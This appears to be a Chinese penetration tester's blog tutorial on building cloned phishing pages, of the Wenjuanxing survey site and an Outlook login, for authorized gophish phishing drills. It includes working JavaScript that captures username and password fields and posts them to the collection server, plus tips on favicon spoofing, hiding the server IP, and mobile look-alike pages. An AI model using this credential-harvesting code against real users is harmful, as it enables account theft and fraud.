前言
大多数时候在对客户做钓鱼演练的时候,不仅需要复制客户指定的网站,还需要结合gophish来监测客户员工是否点击链接、是否输入数据等。
克隆网站很简单,但gophish要想保存数据,就必须满足form表单格式,因此一般情况下也需要对克隆的网站进行二次开发。
本次记录在克隆问卷星页面时的一些常规过程。
2023-04-24 第一版【已过时】
2023-06-29更新了第二版,更加简单方便,请移步查看。
页面保存修改
首先进入问卷星页面,按下Command + S
保存页面,保存的目录结构如下
使用python快速启动一个web服务,查看页面是否正常展示
python3 -m http.server 80
展示没有问题,那么就是进行二次开发,满足gophish记录数据的要求(也就是整一个form表单)
查看源码
发现问卷星本身就自带了form表单,因此针对action进行修改即可,我们修改为./
,然后再HTML代码最后增加如下js代码,让每次提交数据都提交到当前的URL中(不加的话可能就不会带?
之类的东西了)
<!-- 加到最后 -->
<script>
// 获取当前地址
let currentUrl = window.location.href;
// 将当前地址设置为表单的action属性
document.getElementById("form1").action = currentUrl;
</script>
修改后刷新页面,填入数据,点击提交,可见是POST提交的数据,那就说明修改完成。
不需要关注状态码,只要是POST就行,因为python快速启动的web不支持POST方法。
添加网站图标
正常情况下,网站默认从favicon.ico
去获取网站图标,但我们是通过gophish,就不太好直接控制整个网站的结构了,所以可以用另一种方法:
<head>
<link rel="icon" href="https://www.wjx.cn/favicon.ico" type="image/x-icon">
</head>
部署公网
因为gophish只能填入HTML内容,而要想页面正常展示交互就必须加载静态资源(js
、css
、图片等),可以将静态资源部署到自己的服务器中,再让HTML远程拉取,但还是存在一些问题,如:
- 服务器可能带宽不够,导致网站访问速度很慢,一直加载不出来,容易起疑心。
- 如果要使用域名,在不使用反代的情况下,gophish就会占用80端口,这时候静态资源就只能托管到其他端口上,加载时就需要通过
http://ip/xxx.js
来加载,从而暴露真实IP。
因此我推荐使用https://www.netlify.com/
,是一个静态资源托管平台,将改好的静态资源直接上传即可,而且速度快。
选择add site
,然后手动上传文件夹即可,上传后点击Preview
就可以预览,也就可以使用了。
2023-06-29 第二版
页面保存
之前都是依赖浏览器的Command + S
保存,这样html、js、css等都是单独保存的,而gophish则只支持单个HTML内容,因此就需要给js、css部署到其他地方来让HTML远程加载;
那有不有什么工具可以把整个网页的内容保存到单个HTML呢?答案是有的,使用浏览器插件SingleFile
,通过该插件可以将一个完整的页面保存到单个 HTML 文件中
数据捕获
一些网站的不是严格的form表单结构,也就不能捕获到数据,但是要在原来的结构上改动成本太高,因此这里提供一种新的办法:用户点击提交按钮时,从想要获取数据的输入框中抓取数据,构造新的form表单,提交到gophish中,具体的js代码如下:
// 获取submit按钮元素
var submitBtn = document.getElementById("submit");
// 添加点击事件监听器
submitBtn.addEventListener("click", function(event) {
event.preventDefault(); // 阻止表单默认的提交行为
// 获取loginid和userpassword的值
var loginidValue = document.getElementById("loginid").value;
var userpasswordValue = document.getElementById("userpassword").value;
// 创建一个新的form表单
var form = document.createElement("form");
form.method = "POST";
form.action = location.href;
// 创建input元素并设置值和name属性
var loginidInput = document.createElement("input");
loginidInput.type = "text";
loginidInput.name = "loginid";
loginidInput.value = loginidValue;
var userpasswordInput = document.createElement("input");
userpasswordInput.type = "password";
userpasswordInput.name = "userpassword";
userpasswordInput.value = userpasswordValue;
// 将input元素添加到form表单中
form.appendChild(loginidInput);
form.appendChild(userpasswordInput);
// 将form表单添加到页面中并提交
document.body.appendChild(form);
form.submit();
});
其他
移动端适配
2024/03/05实施钓鱼项目遇到的客户需求:由于网站存在移动端适配,所以我也必须做移动端适配,以outlook为例,如下
如果从PC直接去调格式,难度大,周期长,所以我用了一个更简单更暴力的办法:
分别保存不同设备的前端代码,然后根据UA返回不同的HTML源码即可
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>根据 UA 加载不同的 HTML 代码</title>
<script>
window.onload = function() {
// 检测用户代理
var userAgent = navigator.userAgent.toLowerCase();
// 检测是否为手机
var isMobile = /iphone|ipod|android.*mobile|windows.*phone|blackberry.*mobile/i.test(userAgent);
// 获取页面元素
var codeContainer = document.getElementById('code-container');
// 如果是手机,则加载代码1,否则加载代码2
if (isMobile) {
codeContainer.innerHTML = `<p>这是手机端的代码</p>`;
} else {
codeContainer.innerHTML = `<p>这是其他设备的代码</p>`;
}
}
</script>
</head>
<body>
<div id="code-container">
<!-- 这里将会加载根据 UA 判断后的代码 -->
</div>
</body>
</html>
然后JS在下面递归检查相关的html是否加载完成,以便添加事件处理
<script type="text/javascript">
function checkSubmitButton() {
var submitBtn = document.getElementById("submit");
if (submitBtn !== null) {
// 提交数据的JS代码等
} else {
// 如果 submitBtn 为空,继续等待加载
setTimeout(checkSubmitButton, 1000); // 每秒检查一次
}
}
// 开始检查
checkSubmitButton();
</script>